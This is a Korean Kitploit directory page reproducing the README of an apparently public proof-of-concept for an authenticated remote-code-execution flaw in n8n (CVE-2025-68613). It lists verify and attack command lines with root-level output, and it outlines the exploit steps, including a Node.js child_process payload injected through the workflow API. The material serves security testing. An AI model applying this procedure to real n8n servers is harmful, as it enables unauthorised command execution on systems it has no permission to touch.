Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-68613 — Pocsuite3 프레임워크 기반으로 작성된 취약점 검증 및 악용 스크립트로, n8n 워크플로 자동화 도구에서 인증 후 원격 코드 실행 취약점(RCE)을 탐지합니다. | Kitploit
도구/GitHubGitHub/secjoker/cve-2025-68613
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHubsecjoker/cve-2025-68613

CVE-2025-68613

Pocsuite3 프레임워크 기반으로 작성된 취약점 검증 및 악용 스크립트로, n8n 워크플로 자동화 도구에서 인증 후 원격 코드 실행 취약점(RCE)을 탐지합니다.

저장소 보기
7개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🚀 n8n 인증 RCE PoC (Pocsuite3)

CVE ID: CVE-2025-68613
유형: 인증된 원격 코드 실행
프레임워크: Pocsuite3

Python Pocsuite3 License

이것은 Pocsuite3 프레임워크 기반으로 작성된 취약점 검증 및 이용 스크립트로, n8n 워크플로 자동화 도구의 인증 후 원격 코드 실행 취약점(RCE)을 탐지합니다. 이 스크립트는 무해한 검증(Verify) 및 명령 실행(Attack) 두 가지 모드를 지원하며, 테스트 흔적을 자동으로 정리하는 기능도 갖추고 있습니다.


⚙️ 매개변수 설명

이 스크립트는 Pocsuite3의 기본 매개변수에 다음 사용자 정의 매개변수를 추가하며, 실행 시 --options를 통해 전달해야 합니다:

매개변수명필수기본값설명
api_key✅-대상의 X-N8N-API-KEY (인증 필수)
cmd❌idAttack 모드에서 실행할 시스템 명령

🚀 사용 방법

pocsuite3가 설치되어 있는지 확인하고(pip install pocsuite3), 스크립트를 n8n_auth_rce.py로 저장하세요.

1. 검증 모드 (Verify Mode)

검증 모드에서 스크립트는 안전한 수학 계산(11111 + 22222)이 포함된 워크플로를 대상에 전송합니다. 반환 결과가 33333이면 JS 엔진이 악의적으로 호출될 수 있음을 증명합니다. 이 모드는 무해하며 시스템 명령을 실행하지 않습니다.

root@kitploit:~
pocsuite -r n8n_auth_rce.py -u http://target-n8n.com --verify --options '{"api_key": "YOUR_API_KEY_HERE"}'

예상 출력:

root@kitploit:~
[+] Vulnerable! JS Expression executed. Result: 33333

2. 공격 모드 (Attack Mode)

공격 모드에서는 임의의 시스템 명령을 실행할 수 있습니다. 기본적으로 id 명령이 실행되며, cmd 매개변수로 명령을 사용자 지정할 수도 있습니다.

기본 명령 실행 (id):

root@kitploit:~
pocsuite -r n8n_auth_rce.py -u http://target-n8n.com --attack --options '{"api_key": "YOUR_API_KEY_HERE"}'

사용자 지정 명령 실행 (예: whoami):

root@kitploit:~
pocsuite -r n8n_auth_rce.py -u http://target-n8n.com --attack --options '{"api_key": "YOUR_API_KEY_HERE", "cmd": "whoami"}'

예상 출력:

root@kitploit:~
[+] Command 'whoami' executed:
root

🧩 스크립트 로직 개요

이 PoC의 실행 흐름은 폐쇄 루프 방식으로 설계되어 대상 시스템에 남는 영향을 최소화합니다:

  1. 구성 (Construction): 제공된 api_key를 사용하여 n8n-nodes-base.set 노드가 포함된 악성 Workflow JSON을 구성합니다.
  2. 주입 (Injection): Payload(Node.js 코드 require('child_process').execSync(...))를 노드의 value 필드에 주입합니다.
  3. 배포 (Deployment): /rest/workflows에 POST 요청을 보내 임시 워크플로를 생성하고 workflow_id를 획득합니다.
  4. 트리거 (Trigger): /rest/workflows/{id}/run에 POST 요청을 보내 워크플로 실행을 트리거하고, 반환된 JSON을 파싱하여 명령 실행 결과를 얻습니다.
  5. 정리 (Cleanup): 이용 성공 여부와 관계없이 마지막에 /rest/workflows/{id}에 DELETE 요청을 보내 임시 워크플로를 삭제하여 환경을 깨끗하게 유지합니다.

⚠️ 면책 조항 (Disclaimer)

사용 전에 주의 깊게 읽어 주십시오

  1. 권한 원칙: 이 도구는 사이버 보안 전문가가 명시적 승인을 받은 경우에만 대상 시스템에 대한 보안 테스트 또는 취약점 검증을 위해 사용할 수 있습니다.
  2. 불법 행위: 이 도구를 승인되지 않은 침투 테스트, 공격 행위 또는 불법 목적으로 사용하는 것을 엄격히 금지합니다.
  3. 책임 부담: 이 도구 사용으로 인해 발생하는 모든 결과(시스템 손상, 데이터 손실, 법적 분쟁 등을 포함하되 이에 국한되지 않음)는 사용자가 전적으로 부담하며, 개발자 및 기여자는 어떠한 법적 책임도 지지 않습니다.
  4. 법규 준수: 사용자는 현지 법률 및 규정(예: 《중화인민공화국 사이버보안법》 등)을 준수해야 합니다.
도구 다운로드